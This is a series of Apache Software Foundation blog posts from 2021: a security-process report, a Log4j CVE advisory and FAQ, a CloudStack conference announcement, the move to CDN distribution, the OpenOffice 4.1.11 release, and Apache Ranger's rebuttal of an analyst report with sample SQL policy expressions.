Investigation: Once a report is sent to the private list of the projects management committee, the process of triage and investigation varies in time depending on the project, availability of resources, and number of issues to be assessed.  As security issues are dealt with in private, we send reports to a private list made up only of the PMC. Therefore these reports do not reach every project committer, so there is a smaller set of people in each project able to investigate and respond.  As a general guideline we try to ensure projects have triaged issues within 90 days of the report.  The ASF security team follow-up on any untriaged issues over 90 days old.


Fix: Once a security issue is triaged and accepted, the timeline for the fixing of issues depends on the schedules of the projects themselves.  Issues of lower severity are most often held to pre-planned releases.  


Announcement: Our process allows projects up to a few days between a fix release being pushed and the announcement of the vulnerability.  All vulnerabilities and mitigating software releases are announced via the announce@apache.org list.  We now aim to have them appear in the public CVE project list within a day of that announcement, and even quicker for critical issues.

Conclusion

The Apache Software Foundation projects are highly diverse and independent.  They have different languages, communities, management, and security models.  However one of the things every project has in common is a consistent process for how reported security issues are handled. 


The ASF Security Committee works closely with the project teams, communities, and reporters to ensure that issues get handled quickly and correctly.  This responsible oversight is a principle of The Apache Way and helps ensure Apache software is stable and can be trusted.


This report gave metrics for calendar year 2021 showing from the 18,500 emails received we triaged over 390 vulnerability reports relating to ASF projects, leading to fixing 183 (CVE) issues.  The number of non-spam threads dealt with was up 34% from 2020 with the number of actual vulnerability reports up 17% and assigned CVE up 21%.


While the ASF often gets updates for critical issues out quickly, reports show that users are being exploited by old issues in ASF software that have failed to be updated for years, and vendors (and, thus, their users) still make use of end of life versions which have known unfixed vulnerabilities. This will continue to be a big problem and we are committed to engaging on this industry-wide problem to figure out what we can do to help.


If you have vulnerability information you would like to share please contact us or for comments on this report see the public security-discuss mailing list.

Tuesday December 14, 2021

Apache Log4j CVEs

The Apache Software Foundation project Apache Logging Services has responded to a security vulnerability that is described in two CVEs, CVE-2021-44228 and CVE-2021-45046. In this post we’ll list the CVEs affecting Log4j and keep a list of frequently asked questions. 

The most recent CVE has been addressed in Apache Log4j 2.16.0, released on 13 December. We recommend that users update to 2.16.0 if possible. While the 2.15.0 release addressed the most severe vulnerability, the fix in Log4j 2.15.0 was incomplete in some non-default configurations and could allow an attacker to execute a denial of service (DoS) attack. Users still on Java 7 should upgrade to the Log4j 2.12.2 release. 

CVE-2021-44228: Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

In Apache Log4j2 versions up to and including 2.14.1, the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

See the entire description and history on the Apache Logging security page.

CVE-2021-45046: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. 

This could allow attackers, in some situations, to craft malicious input data using a JNDI Lookup pattern resulting in a DoS attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.formatMsgNoLookups to true do NOT mitigate this specific vulnerability.

See the entire description and history on the Apache Logging security page.

CVE-2021-4104: Deserialization of untrusted data in JMSAppender in Apache Log4j 1.2

Apache Log4j 1.x has been end-of-life since August 2015. However, we are aware that it is still a dependency for some applications and in use in some environments. We have found that Log4j 1.2, if used in a non-default configuration with JMSAppender used to perform JNDI requests, is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration.

This is not the same vulnerability described in the recent Log4j 2.x CVEs, but it could also result in remote code execution (RCE), so we are providing this information to make users aware of the vulnerability and urge them to upgrade to Log4j 2.16.0 or 2.12.2, or to take steps to mitigate the issue by disabling the use of JMSAppender to perform JNDI requests.

Frequently Asked Questions about the Log4j vulnerabilities

In this section we’ll try to address some of the most common questions that our community and press have had about the Log4j vulnerabilities. 

What about systems or applications with Log4j 1.x?

While the Log4j 1.x series is not known to be affected by the two CVEs above, it has reached end of life and is no longer supported. Vulnerabilities reported after August 2015 against Log4j 1.x were not checked and will not be fixed. Users should upgrade to Log4j 2 to obtain security fixes.

How many systems have been impacted or how widespread is the impact of this CVE?

Log4j, like all software distributed by the Apache Software Foundation, is open source. It’s been distributed via a mirror system for many years and then more recently via a Content Delivery Network (CDN) directly to users and developers, and also to organizations who have then shipped it as part of their projects, products or services. 

We know that Log4j is included in a number of ASF projects, other open source projects and a number of products and services. But beyond that any numbers would merely be speculation and most likely wrong by a wide margin.

Are any other Apache projects impacted by the Log4j vulnerabilities?

Yes. The Apache Security Team has compiled a list of projects that are known to be affected with links to updates if available. See the Apache projects affected by log4j CVE-2021-44228 blog post.

Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net and Log4cxx are not impacted by this.

How can I get help?

If you need help on building or configuring Log4j or other help on following the instructions to mitigate the known vulnerabilities listed here, please send your questions to the public Log4j Users mailing list

If you have encountered an unlisted security vulnerability or other unexpected behavior that has security impact, or if the descriptions here are incomplete, please report them privately to the Log4j Security Team. Thank you.

Friday October 29, 2021

CloudStack Collaboration Conference 2021 - 8-12 November 2021

For the 9th year running, the global Apache CloudStack community will be holding its major event —CloudStack Collaboration Conference— on 8-12 November 2021. Due to the pandemic, the event will take place virtually to enable even more people interested in CloudStack technology to learn about its latest features, capabilities, and integrations. 


Тhe 2021 edition of the CloudStack Collaboration Conference starts with a full hackathon day on 8 November. The next 4 days acome with numerous exciting technical talks, as well as 5 different workshops that will provide newcomers an in-depth overview of the power of CloudStack technology. A separate track focused on user success stories is expected to be an engaging draw, where attendees will learn about the CloudStack implementations in companies that include NTT Data, CloudOps, EWERK, Cloud.ca, and more.


One of the most promising talks at the event is the keynote, "Bringing digital services to 1.3 billion people with CloudStack". In this presentation, event attendees will learn about Digital India, Government of India's flagship program to realize its vision of transforming India into a digitally-empowered society and knowledge economy —powered by Apache CloudStack. 


CloudStack Collaboration Conference is a free-to-join event, open to everybody seeking to learn more about one of the most powerful and mature Open Source Cloud management platforms. Registration is now open online and closes the day of the event.


A community-organised event, CloudStack Collaboration Conference is run entirely by volunteers and passionate enthusiasts. Thank you to 2021 CloudStack Collaboration Conference sponsors ShapeBlue, LINBIT, StorPool, XCP-ng, CloudOps, EWERK Group, and Versio for their partnership and commitment to delivering the event to the global CloudStack community.


Apache CloudStack originated in 2008 as a start-up project at Cloud.com, and rapidly evolved through the years to become a favored turnkey solution for Cloud builders, IaaS providers, telcos, and enterprises. CloudStack entered the Apache Incubator in 2012 and graduated as an Apache Top-Level Project in 2013, backed by a vibrant, diverse community of engineers, DevOps, Cloud architects, and C-level leaders united with the aim of advancing the Apache CloudStack project and its community.


# # #

Thursday October 14, 2021

Apache Software Foundation moves to CDN distribution for software

It’s not enough to create and release useful software. As an open source foundation, a major part of the Apache Software Foundation’s (ASF) job is to help get that software into the hands of users.

To do so, we’ve relied for many years on the contributions of individuals and organizations to provide mirror infrastructure to distribute our software. We’re now retiring that system in favor of a content distribution network (CDN), and taking a moment to say thank you to all the individuals and organizations who helped get ASF software into the hands of millions of users.

The history and function of the ASF mirror system

Today if you want to download the source or binaries for an ASF project, you’ll probably have it copied over before you can refill your coffee. But when the Apache Group (precursor to the foundation) first got its start, bandwidth was a lot more limited.

This was true for users and true for the limited resources available to those who wanted to distribute the software. As demand grew it became more than a single site could handle.

To share the load, we began to use a “mirror” system. That is, copies of the artifacts distributed to mirror sites that were closer to the users who wanted the software. Instead of all requests being served by a central server, the mirrors could sync up with the main site and then serve a portion of the audience looking to download Apache software.

The first mirror sites became available in April, 1995. Among the first mirror providers was SunSite, 'a network of Internet servers providing archives of information, software and other publicly available resources.'

In April 1997, Brian Behlendorf invited 66 people already hosting mirrors to join the 'mirror@' Apache mailing list. In June of the same year users could automatically be directed to a local mirror by a CGI script that would select the right mirror based on their country code.

Henk P. Penning joined the mirrors mailing list in 2002, and went on to become a major contributor to the system (among other things at the foundation). A mirror in 2002 would need to allocate a whopping 10 GB of space to handle all the artifacts available for download. Penning contributed to the ASF infrastructure until his passing in 2019.

Penning was joined in improving the mirror system by Gavin McDonald, who helped check for “stale” mirrors with out-of-date copies and sent reminders to the admins to keep them up to date. Eventually the team implemented a checker to do this automatically.

This elides a great deal of work, history and dedication to providing open source software for the public good. Suffice to say, the history of the mirror system (which you can read more about, here) is the story of open source writ small: many individuals and organizations coming together to chop wood and carry water to lay infrastructure that many more will take for granted.

The present and future for distributing ASF software

Today, that 10GB has grown to more than 180GB for a mirror to carry all ASF software.

The industry has changed as well. Technology has advanced, bandwidth costs have dropped, and mirror systems are giving way to content delivery networks (CDNs).

After discussion and deliberation, the ASF’s Infrastructure team has decided to move our download system to a CDN with professional support and a service level appropriate to the foundation’s status in the technology world.

Our new delivery system is part of a global CDN with economies of scale and fast, reliable downloads around the world. We expect ASF users will see faster deployment of software, without any lag that one might usually see with a mirror system while local mirrors sync off the main instance.

ASF projects won’t see any difference in their workflow, just a faster delivery of open source artifacts to their users.

Once again, we’d like to thank all the contributors who’ve helped stand up mirrors over the past 20+ years. Without the mirror system to deliver our software, we would never have made it this far.

Thursday October 07, 2021

The Apache Software Foundation Announces Apache® OpenOffice® 4.1.11

Updates to security and availability of leading Open Source office document productivity suite

Wilmington, DE —7 October 2021— The Apache® Software Foundation (ASF), the world’s largest Open Source foundation, announced today Apache OpenOffice® 4.1.11, the popular Open Source office-document productivity suite.

Used by millions of organizations, institutions, and individuals around the world, Apache OpenOffice delivered 317M+ downloads* and provides more than $25M in value to users per day. Apache OpenOffice supports more than 40 languages, offers hundreds of ready-to-use extensions, and is the productivity suite of choice for governments seeking to meet mandates for using ISO/IEC standard Open Document Format (ODF) files.

"Users worldwide depend on OpenOffice to meet their office productivity needs," said Carl Marcum, Vice President of Apache OpenOffice. "We are proud to offer improved security and availability with our latest release. Businesses of all sizes across numerous industries, educational institutions, non-profits, digitally-inclusive communities, application developers, and countless others rely on Apache OpenOffice to efficiently create, manage, and deliver high-impact, integrated content."

Apache OpenOffice comprises six productivity applications: Writer (word processor), Calc (spreadsheet tool), Impress (presentation editor), Draw (vector graphics drawing editor), Math (mathematical formula editor), and Base (database management program). The OpenOffice suite ships for Windows, macOS, and Linux.

Apache OpenOffice v4.1.11
The 14th release under the auspices of the ASF, OpenOffice v4.1.11 reflects dozens of improvements, features, and bug fixes that include:

  • New Writer Fontworks gallery
  • Updated document types where hyperlink is allowed
  • Updated Windows Installer
  • Increased font size in Help


In addition, the project is mitigating 5 CVE (Common Vulnerabilities and Exposures) reports, three of which will be disclosed on 11 October, in coordination with The Document Foundation.

Apache OpenOffice delivers up to 2.4M downloads per month and is available as a free download to all users at 100% no cost, charge, or fees of any kind.

Apache OpenOffice is available on the Windows 11 Store as of 5 October 2021.

OpenOffice source code is available for anyone who wishes to enhance the applications. The Project welcomes contributions back to the project as well as its code community. Those interested in participating with Apache OpenOffice can learn more at https://openoffice.apache.org/get-involved.html .

* partial count: the number above reflects full-install downloads of Apache OpenOffice via SourceForge as of September 2021.

Tribute
Of special note, Apache OpenOffice 4.1.11 is dedicated to the memory of Dr. Patricia Shanahan, late member of the Apache OpenOffice Project Management Committee, former member of the ASF Board of Directors, former Vice President Apache River, and contributor to Apache Community Development. More information on Patricia can be found at the ASF's memorial page http://apache.org/memorials/patricia_shanahan.html . 

Availability and Oversight
Apache OpenOffice software is released under the Apache License v2.0 and is overseen by a volunteer, self-selected team of active contributors to the project. A Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases. The project strongly recommends that users download OpenOffice only from the official site https://www.openoffice.org/download/ to ensure that they receive the original software in the correct and most recent version.

About Apache OpenOffice
Apache OpenOffice is a leading Open Source office-document productivity suite comprising six productivity applications: Writer, Calc, Impress, Draw, Math, and Base. OpenOffice is based around the OpenDocument Format (ODF), supports 40+ languages, and ships for Windows, macOS, and Linux. OpenOffice originated as "StarOffice" in 1985 by StarDivision, who was acquired by Sun Microsystems in 1999. The project was open-sourced under the name "OpenOffice.org", and continued development after Oracle Corporation acquired Sun Microsystems in 2010. OpenOffice entered the Apache Incubator in 2011 and graduated as an Apache Top-level Project in October 2012. Apache OpenOffice delivers up to 2.4 Million downloads each month is the productivity suite of choice for hundreds of educational institutions and government organizations seeking to meet mandates for using ISO/IEC standard Open Document Format (ODF) files. For more information, including documentation and ways to become involved with Apache OpenOffice, visit https://openoffice.apache.org/ and https://twitter.com/ApacheOO .

About The Apache Software Foundation (ASF)
Established in 1999, The Apache Software Foundation (ASF) is the world’s largest Open Source foundation, stewarding 227M+ lines of code and providing more than $22B+ worth of software to the public at 100% no cost. The ASF’s all-volunteer community grew from 21 original founders overseeing the Apache HTTP Server to 850+ individual Members and 206 Project Management Committees who successfully lead 350+ Apache projects and initiatives in collaboration with 8,200+ Committers through the ASF’s meritocratic process known as "The Apache Way". Apache software is integral to nearly every end user computing device, from laptops to tablets to mobile devices across enterprises and mission-critical applications. Apache projects power most of the Internet, manage exabytes of data, execute teraflops of operations, and store billions of objects in virtually every industry. The commercially-friendly and permissive Apache License v2 is an Open Source industry standard, helping launch billion dollar corporations and benefiting countless users worldwide. The ASF is a US 501(c)(3) not-for-profit charitable organization funded by individual donations and corporate sponsors including Aetna, Alibaba Cloud Computing, Amazon Web Services, Anonymous, Baidu, Bloomberg, Capital One, Cloudera, Comcast, Confluent, Didi Chuxing, Facebook, Google, Huawei, IBM, Indeed, Microsoft, Namebase, Pineapple Fund, Red Hat, Replicated, Reprise Software, Talend, Target, Tencent Cloud, Union Investment, Workday, and Yahoo. For more information, visit http://apache.org/ and https://twitter.com/TheASF .

© The Apache Software Foundation. "Apache", "OpenOffice", "Apache OpenOffice", and "ApacheCon" are registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. All other brands and trademarks are the property of their respective owners.

#  #  #

Tuesday September 21, 2021

Apache Ranger response to incorrect analyst report on Cloud data security

Introduction

A recent industry analyst report by GigaOm and sponsored by Immuta comparing Apache Ranger to Immuta paints an incorrect picture on the complexities of using Apache Ranger. We believe the report contains a number of errors and inconsistencies. Unfortunately the Apache Ranger Project Management Committee (PMC) was not contacted by the analyst firm during preparation of the report.


We have attempted to contact the authors and members of the research team several times, requesting the opportunity to review the inaccuracies and have them corrected. Despite our many attempts to rectify the misinformation, no-one from the analyst firm responded.


For the benefit of existing and potential users of Apache Ranger, it is important for Apache Ranger PMC to respond to this report with facts.


Use cases

Let us now go through the scenarios covered in the report, and see how the numbers reported change with appropriate use of Apache Ranger to address the requirements.


  • Scenario 1b: Mask All PII Data

    • lists 2 policy changes in Immuta vs 5 in Apache Ranger. In fact, only one Apache Ranger policy would be needed to address this requirement. 

    • Shows author's lack of understanding of Apache Ranger policy model. Series of steps to allow/deny/deny-exception listed are applicable only for an access policy but not for a masking policy. Also, in access policies, allow/deny/deny-exception can be replaced by a switch named denyAllElse, as shown in the image below.

    • With use of user-groups or roles, a time-tested best practice followed universally by access control systems, this requirement can be met by a single Apache Ranger policy, as shown below.
      Masking policy:

Access policy:


  • Scenario 1c: Allow Email Domains Through the Masking Policy

    • lists 2 policy changes in Immuta vs 5 in Apache Ranger. In fact, only one Apache Ranger masking policy would be needed to address this requirement. Same as the previous scenario.

    • Claim: Apache Ranger does not have a regular expression masking policy

    • Truth: instead of building a virtualization layer that can introduce significant complexities and performance penalties, Apache Ranger uses native capabilities of the data processing application to perform masking and filtering. Given regular expressions are supported by such applications, it will be simpler to create a custom expression to suit your needs like email address, account numbers, credit card numbers; importantly without having to drag security software vendor.


  • Scenario 1d: Add Two Users Access to All PII Data

    • lists 1 policy change in Immuta vs 4 in Apache Ranger. However, the following suggests that each user must be updated in Immuta UI to add necessary attributes. Wouldn't the number of steps be as large as the number of users?

      • Added the AuthorizedSensitiveData > All attribute to each user in the Immuta UI.

    • counts 4 policy changes in Apache Ranger policies, while the only change needed is to add users (2 or 200 users!) to a group or role. No policy changes are needed if time tested best practices are followed - by referencing groups or roles in policies instead of individual users.


  • Scenario 2a: Share Data With Managers

    • lists 1 policy change in Immuta vs 101 in Apache Ranger. With use of lookup tables, which is a common practice in enterprises, the requirement can be met with a single row-filter policy in Apache Ranger.

ss_store_sk in (select store_id from store_authorization where user_name=current_user())


  • Scenario 2b: Merging Groups

    • lists 0 policy change in Immuta vs 1 in Apache Ranger. This is the same as the previous scenario, where the author chose to not follow common practice of using lookup tables. With use of a lookup table, as detailed above, no policy changes will be needed in Apache Ranger.


  • Scenario 2c: Share Additional Data With Managers

    • lists 0 policy changes in Immuta vs 102 in Apache Ranger. Once again, with use of a lookup table, only 2 policies would be required in Apache Ranger:

table store:
s_store_sk in (select store_id from store_authorization where user_name=current_user())

table store_returns:
sr_store_sk in (select store_id from store_authorization where user_name=current_user())


  • Scenario 2d: Reorganize Managers Into Regions

    • lists 0 policy changes in Immuta vs 40 in Apache Ranger. Same as previous scenarios - with use of a lookup table, no policy changes will be needed in Apache Ranger.


  • Scenario 2e: Restrict Data Access to Specific Countries

    • lists 1 policy change in Immuta vs 71 in Apache Ranger. With use of a lookup table, only one row-filter policy is needed in Apache Ranger.


  • Scenario 2f: Grant New User Group Access to All Rows by Default

    • lists 0 policy change in Immuta vs 30 in Apache Ranger. With use of a lookup table, no additional policy would be needed in Apache Ranger.


  • Scenario 2g: Apply Policies to a Derived Data Mart

    • lists 0 policy changes in Immuta vs 140 in Apache Ranger for the addition of 15 tables. With Apache Ranger, new tables can either be added to existing policies, or new policies can be created. It will require 15 policy updates in Apache Ranger - not 140 as claimed by the author. Also, no details on the changes to be done in Immuta (other than ‘0 policy changes’) are provided.


  • Scenario 3a: "AND" logic policy

    • says "unable to meet requirement" in Apache Ranger - which is incorrect. The author does suggest a good approach to meet this requirement in Apache Ranger - by creating a role with users who are both the groups, and referencing this role in policies. However, the point about Apache Ranger not supporting policies based on a user belonging to multiple groups is correct. However, this can easily be addressed with a custom condition extension. If there is enough interest from the user community, an enhancement to support this condition out of the box would be considered.


  • Scenario 3b: Conditional Policies

    • says "unable to meet requirement" in Apache Ranger - which is incorrect. As mentioned earlier, Apache Ranger leverages expressions supported by underlying data processing engine for masking and row-filtering. The requirement can easily be met with following expression in the masking policy:

      CASE WHEN (extract(year FROM current_date()) - birth_year) > 16) THEN {col} ELSE NULL END


There is no need to create views as suggested in the report.


  • Scenario 3c: Minimization Policies

    • as mentioned in the report Apache Ranger doesn't support policies to limit the number of records accessed. If there is enough interest from the user community, this enhancement would be considered.


  • Scenario 3d: De-Identification Policies

    • Says “unable to meet requirement” in Apache Ranger - which is incorrect. While Apache Ranger doesn’t talk about k-anonymity directly, the requirements can be implemented using Apache Ranger data masking policies - by setting up appropriate masking expressions for columns.

      • for columns that require NULL value to be returned, setup a mask policy with type as MASK_NULL

      • for columns that require a constant value, setup a mask policy with type as CONSTANT and specify desired value - like “NONE”

      • for columns that require a ‘generalized’ value based on the existing value of the column, use custom expressions as shown below. This does require analyzing the table to arrive at generalized values:
        CASE WHEN {col} < 20 THEN 16
            WHEN {col} BETWEEN 20 AND 29 THEN 26
            WHEN {col} BETWEEN 30 AND 39 THEN 36
            WHEN {col} BETWEEN 40 AND 49 THEN 46
            WHEN {col} BETWEEN 50 AND 59 THEN 56
            WHEN {col} BETWEEN 60 AND 69 THEN 66
            WHEN {col} BETWEEN 70 AND 79 THEN 76
            WHEN {col} BETWEEN 80 AND 89 THEN 86
            WHEN {col} BETWEEN 90 AND 99 THEN 96
            ELSE 106
        END

 

What the report doesn't talk about?

It is important to take note of what the report doesn’t talk about. For example:


Extendability: Apache Ranger’s open policy model and plugin architecture enable extending access control to other applications, including custom applications within an enterprise.


Wider acceptance of Apache Ranger by major cloud vendors like AWS, Azure, GCP; and availability of support from seasoned industry experts who continue to contribute to Apache Ranger and extend its reach.


Performance: Apache Ranger policy-engine is highly optimized for performance, which results in only a very small overhead (mostly around 1 millisecond) to authorize accesses; and importantly, there are no overheads in the data access path.


Apache Ranger features like security zones that allow different sets of policies to be applied to data in landing, staging, temp, production zones. A security zone can consist of resources across applications, for example: S3 buckets/paths, Solr collections, Snowflake tables, Presto catalogs/schemas/tables, Trino catalogs/schemas/tables, Apache Kafka topics, Synapse database/schemas/tables.



Calendar

Search

Hot Blogs (today's hits)

Tag Cloud

Categories

Feeds

Links

Navigation